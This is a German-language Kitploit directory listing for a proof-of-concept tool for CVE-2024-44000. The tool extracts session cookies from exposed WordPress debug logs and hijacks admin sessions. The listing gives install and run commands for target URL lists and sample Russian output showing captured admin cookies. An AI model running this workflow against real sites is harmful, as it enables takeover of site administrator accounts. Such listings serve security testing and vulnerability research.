Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-44000 — ist ein PoC-Tool, das dazu entwickelt wurde, unsicher exponierte Debug-Logs von WordPress-Websites auszunutzen und Sitzungscookies zu extrahieren | Kitploit
Tools/GitHubGitHub/geniuszly/cve-2024-44000
ExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsRed Teaming
GitHubgeniuszly/cve-2024-44000

CVE-2024-44000

ist ein PoC-Tool, das dazu entwickelt wurde, unsicher exponierte Debug-Logs von WordPress-Websites auszunutzen und Sitzungscookies zu extrahieren

Repository anzeigen
5vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

EN

GenCookieSessionHijack ist ein PoC-Tool, das entwickelt wurde, um unsicher offengelegte Debug-Logs von WordPress-Seiten auszunutzen und Session-Cookies zu extrahieren. Dies ermöglicht es dem Angreifer, aktive Admin-Sitzungen zu übernehmen und unbefugten Zugriff auf das WordPress-Admin-Dashboard zu erlangen.

Funktionen

  • Cookies aus WordPress-Debug-Logs extrahieren.
  • Session-Cookies identifizieren und filtern (z. B. wordpress_logged_in).
  • Automatisch versuchen, Sitzungen für den Admin-Zugriff zu übernehmen.
  • Die übernommene Admin-Sitzung direkt im Browser öffnen.

Verwendung

Installation

root@kitploit:~
git clone https://github.com/geniuszly/CVE-2024-44000
cd CVE-2024-44000
pip install -r requirements.txt

Ausführen des Tools

  1. Bereiten Sie eine Datei mit einer Liste der Ziel-WordPress-URLs vor, eine pro Zeile (z. B. list.txt).
  2. Führen Sie das Tool mit dem folgenden Befehl aus:
root@kitploit:~
python GenCookieSessionHijack.py -f list.txt -o result.txt

Parameter

  • -f, --file: Pfad zur Datei mit der Liste der URLs (Standard: list.txt).
  • -o, --output: Datei zum Speichern der Ergebnisse (Standard: result.txt).

Beispiel

root@kitploit:~
python GenCookieSessionHijack.py -f targets.txt -o output.txt

Dies liest die Liste der URLs aus targets.txt, versucht, Session-Cookies zu extrahieren und zu verwenden, und speichert die Ergebnisse in output.txt.

Ausgabe

Wenn der Versuch der Sitzungsübernahme erfolgreich ist, generiert das Tool eine URL mit dem übernommenen Admin-Session-Cookie und öffnet sie direkt im Standard-Browser.

Beispielausgabe:

root@kitploit:~
[+] Лог-файл успешно получен с http://example.com
[+] Найдены session cookies для http://example.com:
    wordpress_logged_in_abcdef123456
[+] Успешно захвачен сеанс администратора с cookie: wordpress_logged_in_abcdef123456
[+] URL захваченного сеанса: http://example.com/wp-login.php?redirect_to=http://example.com/wp-admin/?wordpress_logged_in_abcdef123456
[+] Установленный cookie: http://example.com/wp-login.php?cookie=wordpress_logged_in_abcdef123456

[-] Не удалось захватить сеанс администратора с cookie: wordpress_logged_in_invalidcookie

[-] Session cookies не найдены в логах для http://another-example.com
[-] Не удалось получить лог-файл для http://another-example.com. Код ответа: 404

Rechtlicher Hinweis

Dieses Tool ist ausschließlich für Bildungszwecke gedacht und sollte nicht für illegale Aktivitäten verwendet werden. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.

Tool herunterladen